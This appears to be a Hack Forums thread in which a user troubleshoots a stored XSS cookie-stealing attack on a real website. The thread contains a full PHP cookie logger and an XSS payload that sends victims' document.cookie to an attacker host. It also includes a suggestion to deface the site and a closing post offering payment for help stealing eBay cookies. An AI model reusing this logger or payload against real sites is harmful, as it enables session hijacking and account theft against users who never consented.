+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: No cookie while using xss cookie injection? (/showthread.php?tid=3368864)
No cookie while using xss cookie injection? - ejshadow - Mar 30, 2013
So,i was trying to learn a bit more about xss and i came to this problem...there's a website which allows persisten xss and i've used it to test my abilities with xss like redirection etc....but when i try to steal cookies...this is what it shows:
IP: (here is my ip)
Cookie:
Referrer: http://the website trying to steal cookies/?code=profile.settingsSaveSuccess
Browser: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22
How's that possible?
* - Sʜᴀᴅᴏᴡ Rᴇᴀʟᴍ - Mar 31, 2013
Just deface it dude, Don't bother with cookie stealing
Defacing is le shit lol
Defacing is le shit lol
* - ejshadow - Mar 31, 2013
so...this is the php code:
<?php
/*
Kr3w's Cookie Logger
www.thedefaced.org
*/
$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['cookie'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$redirect = $_GET['redirect'];
$data = "IP: " . $ip . "\n"
."Cookie: " . $cookie . "\n"
."Referrer: " . $referer . "\n"
."Browser: " . $browser . "\n\n";
$log = "log.txt";
@chmod($log, 0777);
$f = fopen($log, 'a');
fwrite($f, $data);
fclose($f);
@header("Location: $redirect");
?>
and the xss code is the following:
"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>
* - ejshadow - Mar 31, 2013
so...make it like this:
"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;+"&redirect="+="http://www.whateversite.com"</script> ?!
* - ejshadow - Mar 31, 2013
oh...i c...going to try it right now,thnx...
tried my friend but still the same result... :(
* - ejshadow - Mar 31, 2013
yes they are...i don't get it what's wrong... :(
* - ejshadow - Apr 1, 2013
it worked! thank you very much man!
* - adamtram111 - Feb 7, 2014
Hi,
can anybody help me to steal ebay cookies?
I can pay .
For more details please PM me.
Thank